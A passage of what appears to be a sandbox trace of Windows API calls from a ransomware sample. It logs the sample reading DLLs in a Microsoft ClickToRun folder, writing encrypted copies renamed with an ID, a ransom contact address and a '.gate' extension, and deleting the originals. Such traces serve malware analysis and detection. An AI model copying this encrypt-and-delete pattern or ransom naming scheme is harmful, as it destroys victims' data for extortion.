lpString2=".dll") returned -1 [0319.598] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72 [0319.599] lstrlenW (lpString=".jpg") returned 4 [0319.599] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0319.599] lstrcmpiW (lpString1=".dll", lpString2=".gate") returned -1 [0319.599] lstrlenW (lpString="AppvIsvStream32.dll") returned 19 [0319.599] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0319.599] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=396960) returned 1 [0319.599] CloseHandle (hObject=0x364) returned 1 [0319.600] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream32.dll")) returned 0x20 [0319.600] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream32.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0319.600] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream32.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0319.600] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0319.600] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0319.600] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream32.dll.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0319.600] GetLastError () returned 0x0 [0319.600] ReadFile (in: hFile=0x364, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x350fecc*=0x60ea0, lpOverlapped=0x0) returned 1 [0319.998] WriteFile (in: hFile=0x368, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0x60eb0, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x350fc94*=0x60eb0, lpOverlapped=0x0) returned 1 [0320.005] ReadFile (in: hFile=0x364, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0320.005] WriteFile (in: hFile=0x368, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x350fc94*=0xfa, lpOverlapped=0x0) returned 1 [0320.005] SetEndOfFile (hFile=0x368) returned 1 [0320.005] CloseHandle (hObject=0x368) returned 1 [0320.006] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0320.006] SetEndOfFile (hFile=0x364) returned 1 [0320.009] CloseHandle (hObject=0x364) returned 1 [0320.009] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0320.009] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream32.dll")) returned 1 [0320.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77 [0320.010] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77 [0320.010] lstrlenW (lpString=".doc") returned 4 [0320.010] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0320.010] lstrlenW (lpString=".docx") returned 5 [0320.010] lstrcmpiW (lpString1=".docx", lpString2="2.dll") returned -1 [0320.010] lstrlenW (lpString=".pdf") returned 4 [0320.010] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0320.010] lstrlenW (lpString=".xls") returned 4 [0320.010] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0320.010] lstrlenW (lpString=".xlsx") returned 5 [0320.010] lstrcmpiW (lpString1=".xlsx", lpString2="2.dll") returned -1 [0320.010] lstrlenW (lpString=".ppt") returned 4 [0320.010] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0320.010] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77 [0320.010] lstrlenW (lpString=".zip") returned 4 [0320.010] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0320.010] lstrlenW (lpString=".rar") returned 4 [0320.010] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0320.010] lstrlenW (lpString=".bz2") returned 4 [0320.010] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0320.010] lstrlenW (lpString=".7z") returned 3 [0320.010] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0320.010] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77 [0320.010] lstrlenW (lpString=".dbf") returned 4 [0320.010] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0320.010] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77 [0320.010] lstrlenW (lpString=".1cd") returned 4 [0320.010] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0320.010] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77 [0320.010] lstrlenW (lpString=".jpg") returned 4 [0320.010] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0320.011] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77 [0320.011] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77 [0320.011] lstrlenW (lpString=".doc") returned 4 [0320.011] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0320.011] lstrlenW (lpString=".docx") returned 5 [0320.011] lstrcmpiW (lpString1=".docx", lpString2="2.dll") returned -1 [0320.011] lstrlenW (lpString=".pdf") returned 4 [0320.011] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0320.011] lstrlenW (lpString=".xls") returned 4 [0320.011] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0320.011] lstrlenW (lpString=".xlsx") returned 5 [0320.011] lstrcmpiW (lpString1=".xlsx", lpString2="2.dll") returned -1 [0320.011] lstrlenW (lpString=".ppt") returned 4 [0320.011] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0320.011] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77 [0320.011] lstrlenW (lpString=".zip") returned 4 [0320.011] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0320.011] lstrlenW (lpString=".rar") returned 4 [0320.011] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0320.011] lstrlenW (lpString=".bz2") returned 4 [0320.011] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0320.011] lstrlenW (lpString=".7z") returned 3 [0320.011] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0320.011] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77 [0320.011] lstrlenW (lpString=".dbf") returned 4 [0320.011] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0320.011] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77 [0320.011] lstrlenW (lpString=".1cd") returned 4 [0320.011] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0320.011] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77 [0320.012] lstrlenW (lpString=".jpg") returned 4 [0320.012] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0320.012] lstrcmpiW (lpString1=".dll", lpString2=".gate") returned -1 [0320.012] lstrlenW (lpString="AppVIsvVirtualization.dll") returned 25 [0320.012] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvvirtualization.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0320.012] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=567512) returned 1 [0320.012] CloseHandle (hObject=0x364) returned 1 [0320.012] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvvirtualization.dll")) returned 0x20 [0320.012] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvvirtualization.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0320.012] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvvirtualization.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0320.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83 [0320.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83 [0320.013] lstrlenW (lpString=".doc") returned 4 [0320.013] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0320.013] lstrlenW (lpString=".docx") returned 5 [0320.013] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0320.013] lstrlenW (lpString=".pdf") returned 4 [0320.013] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0320.013] lstrlenW (lpString=".xls") returned 4 [0320.013] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0320.013] lstrlenW (lpString=".xlsx") returned 5 [0320.013] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0320.013] lstrlenW (lpString=".ppt") returned 4 [0320.013] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0320.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83 [0320.013] lstrlenW (lpString=".zip") returned 4 [0320.013] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0320.013] lstrlenW (lpString=".rar") returned 4 [0320.013] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0320.013] lstrlenW (lpString=".bz2") returned 4 [0320.013] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0320.013] lstrlenW (lpString=".7z") returned 3 [0320.013] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0320.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83 [0320.013] lstrlenW (lpString=".dbf") returned 4 [0320.013] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0320.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83 [0320.013] lstrlenW (lpString=".1cd") returned 4 [0320.013] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0320.014] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83 [0320.014] lstrlenW (lpString=".jpg") returned 4 [0320.014] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0320.014] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83 [0320.014] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83 [0320.014] lstrlenW (lpString=".doc") returned 4 [0320.014] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0320.014] lstrlenW (lpString=".docx") returned 5 [0320.014] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0320.014] lstrlenW (lpString=".pdf") returned 4 [0320.014] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0320.014] lstrlenW (lpString=".xls") returned 4 [0320.014] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0320.014] lstrlenW (lpString=".xlsx") returned 5 [0320.014] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0320.014] lstrlenW (lpString=".ppt") returned 4 [0320.014] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0320.014] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83 [0320.014] lstrlenW (lpString=".zip") returned 4 [0320.014] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0320.014] lstrlenW (lpString=".rar") returned 4 [0320.014] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0320.014] lstrlenW (lpString=".bz2") returned 4 [0320.014] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0320.014] lstrlenW (lpString=".7z") returned 3 [0320.014] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0320.014] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83 [0320.014] lstrlenW (lpString=".dbf") returned 4 [0320.014] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0320.014] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83 [0320.015] lstrlenW (lpString=".1cd") returned 4 [0320.015] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0320.015] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83 [0320.015] lstrlenW (lpString=".jpg") returned 4 [0320.015] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0320.015] lstrcmpiW (lpString1=".dll", lpString2=".gate") returned -1 [0320.015] lstrlenW (lpString="AppVManifest.dll") returned 16 [0320.015] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvmanifest.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0320.015] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=1231576) returned 1 [0320.015] CloseHandle (hObject=0x364) returned 1 [0320.015] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvmanifest.dll")) returned 0x20 [0320.015] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvmanifest.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0320.015] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvmanifest.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0320.016] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74 [0320.016] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74 [0320.016] lstrlenW (lpString=".doc") returned 4 [0320.016] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0320.016] lstrlenW (lpString=".docx") returned 5 [0320.016] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0320.016] lstrlenW (lpString=".pdf") returned 4 [0320.016] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0320.016] lstrlenW (lpString=".xls") returned 4 [0320.016] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0320.016] lstrlenW (lpString=".xlsx") returned 5 [0320.016] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0320.016] lstrlenW (lpString=".ppt") returned 4 [0320.016] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0320.016] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74 [0320.016] lstrlenW (lpString=".zip") returned 4 [0320.016] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0320.016] lstrlenW (lpString=".rar") returned 4 [0320.016] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0320.016] lstrlenW (lpString=".bz2") returned 4 [0320.016] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0320.016] lstrlenW (lpString=".7z") returned 3 [0320.016] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0320.016] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74 [0320.016] lstrlenW (lpString=".dbf") returned 4 [0320.016] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0320.016] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74 [0320.016] lstrlenW (lpString=".1cd") returned 4 [0320.016] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0320.016] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74 [0320.016] lstrlenW (lpString=".jpg") returned 4 [0320.017] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0320.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74 [0320.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74 [0320.017] lstrlenW (lpString=".doc") returned 4 [0320.017] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0320.017] lstrlenW (lpString=".docx") returned 5 [0320.017] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0320.017] lstrlenW (lpString=".pdf") returned 4 [0320.017] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0320.017] lstrlenW (lpString=".xls") returned 4 [0320.017] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0320.017] lstrlenW (lpString=".xlsx") returned 5 [0320.017] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0320.017] lstrlenW (lpString=".ppt") returned 4 [0320.017] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0320.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74 [0320.017] lstrlenW (lpString=".zip") returned 4 [0320.017] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0320.017] lstrlenW (lpString=".rar") returned 4 [0320.017] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0320.017] lstrlenW (lpString=".bz2") returned 4 [0320.017] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0320.017] lstrlenW (lpString=".7z") returned 3 [0320.017] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0320.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74 [0320.017] lstrlenW (lpString=".dbf") returned 4 [0320.017] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0320.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74 [0320.017] lstrlenW (lpString=".1cd") returned 4 [0320.017] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0320.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74 [0320.017] lstrlenW (lpString=".jpg") returned 4 [0320.017] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0320.018] lstrcmpiW (lpString1=".dll", lpString2=".gate") returned -1 [0320.018] lstrlenW (lpString="AppVOrchestration.dll") returned 21 [0320.018] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvorchestration.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0320.018] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=947928) returned 1 [0320.018] CloseHandle (hObject=0x364) returned 1 [0320.018] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvorchestration.dll")) returned 0x20 [0320.018] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvorchestration.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0320.018] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvorchestration.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0320.018] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79 [0320.018] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79 [0320.018] lstrlenW (lpString=".doc") returned 4 [0320.018] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0320.018] lstrlenW (lpString=".docx") returned 5 [0320.018] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0320.018] lstrlenW (lpString=".pdf") returned 4 [0320.018] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0320.019] lstrlenW (lpString=".xls") returned 4 [0320.019] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0320.019] lstrlenW (lpString=".xlsx") returned 5 [0320.019] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0320.019] lstrlenW (lpString=".ppt") returned 4 [0320.019] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0320.019] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79 [0320.019] lstrlenW (lpString=".zip") returned 4 [0320.019] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0320.019] lstrlenW (lpString=".rar") returned 4 [0320.019] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0320.019] lstrlenW (lpString=".bz2") returned 4 [0320.019] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0320.019] lstrlenW (lpString=".7z") returned 3 [0320.019] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0320.019] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79 [0320.019] lstrlenW (lpString=".dbf") returned 4 [0320.019] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0320.019] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79 [0320.019] lstrlenW (lpString=".1cd") returned 4 [0320.019] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0320.019] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79 [0320.019] lstrlenW (lpString=".jpg") returned 4 [0320.019] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0320.019] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79 [0320.019] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79 [0320.019] lstrlenW (lpString=".doc") returned 4 [0320.019] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0320.019] lstrlenW (lpString=".docx") returned 5 [0320.019] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0320.019] lstrlenW (lpString=".pdf") returned 4 [0320.019] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0320.019] lstrlenW (lpString=".xls") returned 4 [0320.019] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0320.019] lstrlenW (lpString=".xlsx") returned 5 [0320.020] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0320.020] lstrlenW (lpString=".ppt") returned 4 [0320.020] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0320.020] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79 [0320.020] lstrlenW (lpString=".zip") returned 4 [0320.020] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0320.020] lstrlenW (lpString=".rar") returned 4 [0320.020] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0320.020] lstrlenW (lpString=".bz2") returned 4 [0320.020] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0320.020] lstrlenW (lpString=".7z") returned 3 [0320.020] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0320.020] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79 [0320.020] lstrlenW (lpString=".dbf") returned 4 [0320.020] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0320.020] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79 [0320.020] lstrlenW (lpString=".1cd") returned 4 [0320.020] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0320.020] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79 [0320.020] lstrlenW (lpString=".jpg") returned 4 [0320.020] lstrcmpiW (lpString1=".jpg", 